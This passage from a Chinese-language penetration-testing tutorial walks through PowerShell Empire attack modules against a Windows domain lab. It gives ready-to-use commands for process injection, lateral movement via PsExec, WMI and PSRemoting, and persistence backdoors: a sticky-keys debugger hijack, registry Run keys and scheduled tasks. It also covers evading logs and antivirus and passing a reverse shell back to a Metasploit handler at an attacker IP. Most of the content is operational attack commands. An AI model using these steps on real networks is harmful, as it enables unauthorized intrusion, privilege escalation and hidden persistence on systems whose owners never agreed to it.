会话注入
我们可以使用usemodule management/psinject模块来进程注入,获取权限
设置下Listeners和ProcID这2个参数,这里的ProcID就是之前的CMD的pid,反弹回域用户权限shell
usemodule management/psinject
set Listener Micr067
set ProcID 3768
execute
3.Invoke-PsExec
PsExec缺点是基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。
优点是可以直接返回SYSTEM权限。
使用该模块的前提是已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。
我们测试该模块前看下当前agents,有个机器名为WIN-PC2的服务器,如下图所示。
使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器
这里要设置下机器名和监听,注意这里的机器名是机器的全名,命令执行完毕成功获得新的session
set ComputerName WIN-DC.payload.com
set Listener Micr067
execute
因为我上个session是管理员权限,使用psexec模块直接将管理员权限提升到system权限
4.Invoke-WMI
WMI比PsExec安全,所有window系统启用该服务,当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。但防火墙开启将会无法连接。
usemodule lateral_movement/invoke_wmi
set Listener Micr067
execute
WMI还有一个usemodule lateral_movement/invoke_wmi_debugger模块,是使用WMI去设置五个Windows Accessibility可执行文件中任意一个的调试器。这些可执行文件包括sethc.exe(粘滞键,五下shift可触发),narrator.exe(文本转语音,Utilman接口激活)、Utilman.exe(windows辅助管理器,Win+U启用),Osk.exe(虚拟键盘,Utilman接口启用)、Magnify.exe(放大镜,Utilman接口启用)。相关配置参数如下:
5.Powershell Remoting
PowerShell remoting是Powershell的远程管理功能,开启Windows远程管理服务WinRM会监听5985端口,该服务默认在Windows Server 2012中是启动的,在Windows Server 2003、2008和2008 R2需要通过手动启动。
如果目标主机启用了PSRemoting,或者拥有启用它的权限的凭据,则可以使用他来进行横向渗透,
开启PowerShell remoting功能
Enable-PSRemoting
usemodule lateral_movement/invoke_psremoting
set ComputerName WIN-PC2.payload.com
set Listener Micr067
execute
0×08. 后门
1.权限持久性劫持shift后门
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName WIN-DC.payload.com
set TargetBinary sethc.exe
execute
运行后,在目标主机远程登录窗口按5次shift即可触发后门,即可进入cmd命令窗口。
注意:sethc.exe也可替换为以下选项。
A.Utilman.exe(快捷键为: Win + U)
B.osk.exe(屏幕上的键盘Win + U启动再选择)
C.Narrator.exe (启动讲述人Win + U启动再选择)
D.Magnify.exe(放大镜Win + U启动再选择)
2.注册表注入后门
使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令
usemodule persistence/userland/registry
set Listener Micr067
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
execute
运行后当我们登陆系统时候就会运行,反弹回来
3.计划任务获得系统权限
在实际渗透中,运行该模块时杀软会有提示。
usemodule persistence/elevated/schtasks
Set DailyTime 22:50
set Listener Micr067
execute
命令执行完毕返回一个高权限的shell
这里如果把set RegPath 的参数改为HKCU:SOFTWAREMicrosoftWindowsCurrentVersionRun,那么就会在22:35分添加一个注册表注入后门。
0×09. Empire反弹回Metasploit
实际渗透中,当拿到webshell上传的MSF客户端无法绕过目标机杀软时,可以使用powershell来绕过也可以执行Empire的payload来绕过,成功之后再使用Empire的模块将其反弹回Metasploit。
usemodule code_execution/invoke_shellcode
set Lhost 192.168.190.133 # Lhost为msf所在主机ip
set Lport 1521
execute
在MSF上设置监听,运行后,就可以收到Empire反弹回来的shell了
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set Lhost 192.168.190.133
set lport 1521
run